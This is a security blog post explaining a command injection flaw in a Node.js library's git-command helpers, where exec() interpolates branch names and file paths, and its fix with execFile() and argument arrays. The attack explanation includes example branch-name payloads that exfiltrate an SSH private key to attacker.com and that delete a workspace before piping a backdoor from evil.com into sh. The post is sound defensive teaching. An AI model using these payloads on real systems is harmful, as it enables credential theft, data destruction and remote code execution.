Back to Blog
high SEVERITY8 min read

How Command Injection happens in Node.js child_process calls and how to fix it

A high-severity command injection vulnerability was discovered in `bin/git-commands.js`, where the `exec()` function from Node.js's `child_process` module was used to construct shell commands by directly interpolating arguments like branch names and file paths into template strings. The fix replaces `exec()` with `execFile()` and passes arguments as discrete array elements, eliminating the shell entirely and preventing any injected shell metacharacters from being interpreted. This is a critical

O
By Orbis AppSec
Published August 26, 2026Reviewed August 26, 2026

Answer Summary

This is a command injection vulnerability (CWE-78) in Node.js, found in `bin/git-commands.js`. The root cause was use of `child_process.exec()` with template-string interpolation of function arguments (e.g., branch names, file paths) directly into shell commands. The fix replaces `exec()` with `execFile()` and passes all arguments as an array, bypassing the shell entirely so metacharacters like `;`, `&&`, or `$()` cannot be interpreted as shell syntax.

Vulnerability at a Glance

cweCWE-78 (Improper Neutralization of Special Elements used in an OS Command)
fixReplaced exec() with execFile() and decomposed all commands into argument arrays, bypassing the shell
riskAttacker-controlled input passed to exec() can inject arbitrary shell commands
languageJavaScript (Node.js)
root causeTemplate string interpolation of function arguments into shell command strings passed to exec()
vulnerabilityCommand Injection via child_process.exec()

How Command Injection Happens in Node.js child_process Calls and How to Fix It


Summary

A high-severity command injection vulnerability was discovered in bin/git-commands.js, where Node.js's child_process.exec() was used to build shell commands by interpolating function arguments directly into template strings. The fix replaces exec() with execFile() and passes every argument as a discrete array element, eliminating the shell as an intermediary and closing the injection path entirely.


Introduction

The bin/git-commands.js file is the backbone of automated Git operations in this Node.js library — it handles everything from checking out branches to staging files and reading remote configurations. But a subtle, dangerous pattern ran through almost every function in the file: arguments like branch names, file lists, and commit messages were being stitched directly into shell command strings and handed to child_process.exec().

Here's the pattern, repeated across multiple functions:

// checkoutNewBranch — before the fix
async function checkoutNewBranch(name) {
  const stdout = await execAsPromise(`git checkout -b ${name}`)
  return stdout.trim()
}

// addFiles — before the fix
async function addFiles(files) {
  files = files.join(' ')
  const stdout = await execAsPromise(`git add ${files}`)
  return stdout.trim()
}

The name parameter in checkoutNewBranch and the files array in addFiles flow directly into a shell string. If either value contains shell metacharacters — ;, &&, $(...), backticks — the shell will interpret them as commands, not data. Since this is a library, downstream consumers control these values.


The Vulnerability Explained

What Makes exec() Dangerous Here

child_process.exec() works by passing the entire command string to /bin/sh -c (or cmd.exe on Windows). That means the shell parses the string before Git ever sees it. Template string interpolation like `git checkout -b ${name}` is functionally identical to:

/bin/sh -c "git checkout -b <name>"

If name is a normal branch name like feature/my-feature, everything is fine. But if name is something like:

feature/x; curl https://attacker.com/exfil?data=$(cat ~/.ssh/id_rsa)

The shell splits on ; and executes two separate commands: the legitimate git checkout -b feature/x, and the attacker's data-exfiltration command. The addFiles function is even more exposed — it joins an array of file paths with spaces and passes the whole string to the shell, meaning any file path containing shell syntax becomes an injection vector.

The Specific Vulnerable Pattern

Semgrep flagged this at line 127 in bin/git-commands.js, but the vulnerability was systemic — the execAsPromise helper was called with template strings throughout the file:

// All of these were vulnerable before the fix:
const stdout = await execAsPromise('git remote -v')
const stdout = await execAsPromise('git status --short --porcelain')
const stdout = await execAsPromise('git branch --show-current')
const stdout = await execAsPromise(`git checkout -b ${name}`)       // ← user input
const stdout = await execAsPromise(`git add . ':!${AGENT_SUB_REPO}'`)
const stdout = await execAsPromise(`git add ${files}`)              // ← user input array

The first three are lower-risk (no dynamic input), but the last three interpolate function arguments that could originate from user-controlled data in downstream consumers.

Real-World Attack Scenario

Consider a CI/CD pipeline that uses this library and derives a branch name from a pull request title or an environment variable:

const branchName = process.env.PR_BRANCH  // e.g., from a webhook payload
await checkoutNewBranch(branchName)

An attacker who can influence PR_BRANCH — perhaps through a malicious pull request, a compromised webhook, or a misconfigured environment — could set it to:

fix/legit-looking-branch; rm -rf /workspace && curl https://evil.com/backdoor | sh

The exec() call would faithfully hand this to the shell, which executes all three chained commands. In a CI/CD context, this could destroy build artifacts, exfiltrate secrets, or install a backdoor in the build environment.


The Fix

Switching from exec() to execFile() with Argument Arrays

The fix is elegant and comprehensive. The import changes from exec to execFile:

// Before
const { exec } = require('child_process')

// After
const { execFile } = require('child_process')

And every call site is refactored to pass the command and its arguments as separate array elements:

// Before — shell string interpolation
async function checkoutNewBranch(name) {
  const stdout = await execAsPromise(`git checkout -b ${name}`)
  return stdout.trim()
}

// After — argument array, no shell
async function checkoutNewBranch(name) {
  const stdout = await execAsPromise(['git', 'checkout', '-b', name])
  return stdout.trim()
}
// Before — join + interpolation (double risk)
async function addFiles(files) {
  files = files.join(' ')
  const stdout = await execAsPromise(`git add ${files}`)
  return stdout.trim()
}

// After — spread operator, each file is a discrete argument
async function addFiles(files) {
  const stdout = await execAsPromise(['git', 'add', ...files])
  return stdout.trim()
}

Why This Completely Eliminates the Injection Risk

execFile() does not invoke a shell. It calls the executable directly using execve() (on Unix) and passes arguments as a proper array to the OS. This means:

  • Shell metacharacters (;, &&, |, $(), backticks) are passed as literal strings to Git, not interpreted by any shell
  • A branch name of fix/x; rm -rf / is passed verbatim to git checkout -b as a single argument — Git rejects it as an invalid branch name, but no shell command is executed
  • The addFiles spread (...files) ensures each file path is its own argument, so a path like legit.txt; evil_command is treated as a single (invalid) filename, not a shell injection

The fix also removes the .join(' ') call in addFiles, which was itself part of the problem — joining with spaces created a single shell-parseable string. The spread operator is the correct idiom here.


Key Takeaways

  • exec() with template strings is a shell injection primitive: Every `git checkout -b ${name}` pattern in git-commands.js was a latent injection vector, even if not immediately exploitable in isolation.
  • addFiles() had compounded risk: The .join(' ') call created a single shell string from an array of file paths — doubling down on the injection surface before passing to exec().
  • execFile() + argument arrays is the correct Node.js idiom for subprocess calls: It bypasses the shell entirely, making metacharacter injection structurally impossible regardless of input content.
  • Library code has a larger blast radius: Vulnerabilities in git-commands.js affect every downstream consumer of this package, not just this one repository.
  • Semgrep's detect-child-process rule is a reliable detector: It correctly identified the function-argument-to-exec pattern across all six call sites in this file.

How Orbis AppSec Detected This

  • Source: Function arguments (name in checkoutNewBranch, files in addFiles, message in commit) passed by library consumers — potentially user-controlled in downstream applications
  • Sink: child_process.exec() called via execAsPromise() at line 127 in bin/git-commands.js, with arguments interpolated directly into template string shell commands
  • Missing control: No shell metacharacter sanitization, no allowlist validation, and no use of the shell-bypassing execFile() API
  • CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
  • Fix: Replaced exec() with execFile() and refactored all six call sites to pass command arguments as discrete array elements, eliminating shell interpolation entirely

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

The vulnerability in bin/git-commands.js is a textbook example of how a convenient API choice — exec() with template strings — quietly introduces command injection risk into code that otherwise looks reasonable. The fix isn't complicated: swap exec() for execFile(), pass arguments as arrays, and the shell never enters the picture. What makes this case instructive is the library context: the authors of git-commands.js may write perfectly safe callers, but they cannot control how downstream consumers use checkoutNewBranch() or addFiles(). In library code especially, eliminating the shell as an intermediary is the only safe default.

The broader lesson is architectural: treat exec() the way you treat eval() — as a function that requires explicit justification and careful review every time it appears. When you find it accepting function arguments, that's a signal to reach for execFile() instead.


Prevention and further reading

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #4197

Related Articles

high

How Command Injection Happens in Node.js child_process and How to Fix It

A high-severity command injection vulnerability was discovered in `server.js` where user-controlled file paths were passed directly to shell commands via `exec()`. By migrating from `exec()` to `execFile()` and using argument arrays instead of string concatenation, the fix eliminates the attack surface while preserving the intended trash/delete functionality across macOS, Windows, and Linux.

high

How command injection happens in Node.js child_process and how to fix it

A critical command injection vulnerability in `scripts/check-links.js` was fixed by replacing `execSync()` with `execFileSync()`, eliminating shell interpretation of user-controlled repository names. This proactive hardening prevents potential remote code execution in the GitHub CLI integration workflow.

critical

How Command Injection happens in Node.js and how to fix it

A critical command injection vulnerability in `scripts/sync-skill.mjs` allowed attackers to execute arbitrary commands through malicious command-line arguments. The fix implements strict whitelist validation on `process.argv` inputs, ensuring only the `--check` flag is accepted before any shell interaction occurs.

high

How command injection happens in JavaScript child_process and how to fix it

A high-severity command injection vulnerability in Claude Code's `prepare-native.js` could have allowed attackers to execute arbitrary shell commands through malicious npm package tarball URLs. The fix adds strict URL scheme validation and proper curl argument termination to neutralize injection vectors.

high

How Command Injection Happens in Node.js Child Process Calls and How to Fix It

The Spotify CLI contained a command injection vulnerability in its browser-opening functionality, where user-controlled URLs were passed directly to `exec()` with shell interpretation enabled. By switching from `exec()` to `execFile()` and properly structuring command arguments, the fix eliminates the attack surface while maintaining cross-platform compatibility.

high

How command injection happens in JavaScript/Node.js and how to fix it

A build script in a Node.js library used `child_process.exec()` with template-literal-interpolated commit hashes to generate SVG diffs, creating a command injection primitive. The fix replaces `exec()` with `execFile()` and adds strict regex validation of commit hashes before they're used in any shell command.